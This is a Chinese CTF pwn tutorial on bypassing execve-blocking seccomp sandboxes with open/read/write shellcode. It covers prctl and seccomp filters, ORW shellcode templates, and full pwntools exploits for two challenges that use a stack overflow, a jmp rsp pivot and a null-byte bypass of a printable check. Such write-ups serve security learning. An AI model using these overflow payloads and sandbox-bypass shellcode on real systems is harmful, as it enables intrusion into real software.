ORW_stack(栈上ORW)

概述:

沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
  在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取open/read/write的组合方式来读取flag。

开启沙箱的两种方式

在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。

prctl

函数原型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// option选项有很多,剩下的参数也由option确定,这里介绍两个主要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]

// 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}

// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

// seccomp_load->将当前seccomp过滤器加载到内核中
if ( seccomp_load(v1) < 0 )
{
// seccomp_release->释放seccomp过滤器状态
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}

使用seccomp-tools识别沙盒

1
seccomp-tools dump ./filename

这个工具的下载读者可自行搜索

普通ORW模板

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
; "/home/orw/flag\x00" 保存到栈上
; 小端序
; 要注意给字符串结尾加上 '\x00'
push 0x006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
; open("/home/orw/flag", O_RDONLY)
; #define O_RDONLY 0
mov eax,5 ; open() 系统调用号是 5
mov ebx,esp ; "/home/orw/flag"
xor ecx,ecx ; O_RDONLY = 0
xor edx,edx
int 0x80 ; int 80h 会报错
; 返回 fd 保存到 eax 中

; read(fd, buf, count)
mov ebx,eax ; fd
mov eax,3 ; read() 的系统调用号是 3
mov ecx,esp ; buf
mov edx,0x30 ; count
int 0x80

; write(fd, buf, count)
mov eax,4 ; write() 的系统调用号是 4
mov ebx,1 ; fd=1, write到标准输出
mov ecx,esp ; buf
mov edx,0x30 ; count
int 0x80

64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 ; open("flag", 0)
0: 68 66 6c 61 67 push 0x67616c66
5: 6a 02 push 0x2
7: 58 pop rax
8: 48 89 e7 mov rdi,rsp
b: 48 31 f6 xor rsi,rsi
e: 0f 05 syscall

; read(fd, rsp, 0x20)
10: 48 89 c7 mov rdi,rax
13: 48 31 c0 xor rax,rax
16: 48 89 e6 mov rsi,rsp
19: 6a 20 push 0x20
1b: 5a pop rdx
1c: 0f 05 syscall

; write(1, rsp, 0x20)
1e: 6a 01 push 0x1
20: 58 pop rax
21: 6a 01 push 0x1
23: 5f pop rdi
24: 48 89 e6 mov rsi,rsp
27: 6a 20 push 0x20
29: 5a pop rdx
2a: 0f 05 syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

下面看一个实例:

[极客大挑战 2019]Not Bad

1

2

可以正常使用open,read,write

看一下RWX段在哪:

3

0x123000和0x601000都是可写可执行的,这里我选择0x601000处

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

这里存在栈溢出

1
2
3
4
void sub_4009EE()
{
__asm { jmp rsp }
}

还提供了JMP RSP,如果溢出空间足够大,我们可以直接覆盖返回地址为jmp rsp的地址,后面写入shellcode,但是这里ret后只有0x38 - 0x30 = 0x8的大小,显然不够,我们还是把shellcode写在前面,但是仍然不够,我们可以先写一个read调用asm(shellcraft.read(0,addr,0x100))+asm(‘mov rax,0x601000;call rax’)这里的addr = 0x601000,然后溢出到ret填入jmp rsp ,在后面跟着写入asm(‘sub rsp,0x30;jmp rsp’),此时抬高rsp 0x30也就回到了buf写入的地方开始执行我们布置的shellcode,调用read把orw写进0x601000,再call 0x601000就实现了打印出flag

orw可以借助pwntools也可以手写

1
2
3
orw=shellcraft.open('./flag')
orw+=shellcraft.read(3,mmap,0x50)
orw+=shellcraft.write(1,mmap,0x50)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
orw = asm('''
push 0x67616c66
mov rdi , rsp
mov rsi , 0
mov rax , 2
syscall

mov rdi , 3
mov rsi , 0x601000
mov rdx , 0x30
mov rax , 0
syscall

mov rdi ,1
mov rdx ,0x30
mov rax ,1
syscall
''')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#io = process('./bad')
io = remote('node4.buuoj.cn',29649)
io.recvuntil('Easy shellcode, have fun!\n')

addr =0x601000

orw = asm('''
push 0x67616c66
mov rdi , rsp
mov rsi , 0
mov rax , 2
syscall

mov rdi , 3
mov rsi , 0x601000
mov rdx , 0x30
mov rax , 0
syscall

mov rdi ,1
mov rdx ,0x30
mov rax ,1
syscall
''')
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,addr,0x100))+asm('mov rax,0x601000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

io.sendline(payload)

io.sendline(orw)
io.interactive()

4

gwctf_2019_shellcode

再看一个例子:

5

6

黑名单禁用了execve,还是可以使用open,read,write

7

这里有个call rax将其nop掉就可以看反汇编了,不过直接读汇编也行,这里不算复杂

8

想要执行shellcode,需先让is_printable函数的返回值为0,is_printable函数这里不放图了,就是shellcode得是可打印字符串,用alpha3可以生成,但是长度太长,这里考虑使用\x00截断strlen,在shellcode里的push 0 就可以截断,或者参考https://www.cnblogs.com/7resp4ss/p/16996731.html这篇文章使用'\x00\x4d\x00\x41'

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#io = process('./gwctf_2019_shellcode')
io = remote('node4.buuoj.cn',27668)
#io.recvuntil('Welcome,tell me your name:')
#payload = b'\x00\x4d\x00\x41'+asm(shellcraft.cat('flag'))
#io.sendline(payload)

orw = ('''
push 0x67616c66
push rsp
pop rdi
push 0
pop rsi
push 2
pop rax
syscall

mov rdi , 3
mov rsi , rsp /* 1191936 == 0x123000 */
mov rdx , 0x30
mov rax , 0
syscall

mov rdi ,1
mov rdx ,0x30
mov rax ,1
syscall
''')
payload = asm(orw)
io.sendline(payload)


io.interactive()



9